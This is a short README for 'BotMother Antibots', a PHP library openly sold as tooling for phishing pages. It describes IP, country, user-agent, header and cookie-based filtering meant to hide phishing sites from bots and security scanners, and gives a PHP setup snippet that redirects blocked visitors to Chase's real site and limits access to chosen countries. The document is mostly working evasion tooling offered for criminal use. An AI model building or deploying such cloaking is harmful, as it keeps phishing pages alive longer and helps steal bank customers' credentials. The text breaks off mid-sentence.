BotMother Antibots 
BotMother Antibots is used by Phishing Pages to keep Bots away from your Phishing site.
Features
IP Blocking (Single/Ranges)
Country Blocking
User-Agent Blocking
Cookie Fingerprint (bot don't use cookies)
Header/Agent Deep Checks
Redirection
Logging
Rate Limit Requests (30/minute)
Test Mode for Developer.
Code Implementation (Assuming the folder is in the current directory as "botMother")
PHP:
require (__DIR__).'/botMother/botMother.php';
$bm = new botMother();
$bm->setExitLink("https://www.chase.com/"); / Redirect blocked bots to Chase
$bm->setGeoFilter("de,us,fr,uk"); // Allows Germany, USA, France, UK
$bm->setTestMode(false); // Disable test mode (real IP checks)
$bm->limitRequests(30, 60); // 30 requests/minute
$bm->validateHeaders(); // Check for bots/tools
$bm->checkFingerprint(); // Verify JS support (cookie)
$bm->run();
For a example, checkout example.php, use the JavaScript at your Phishing Page, or else don't run "checkFingerprint".
You can put multiple countries on the allow list but also one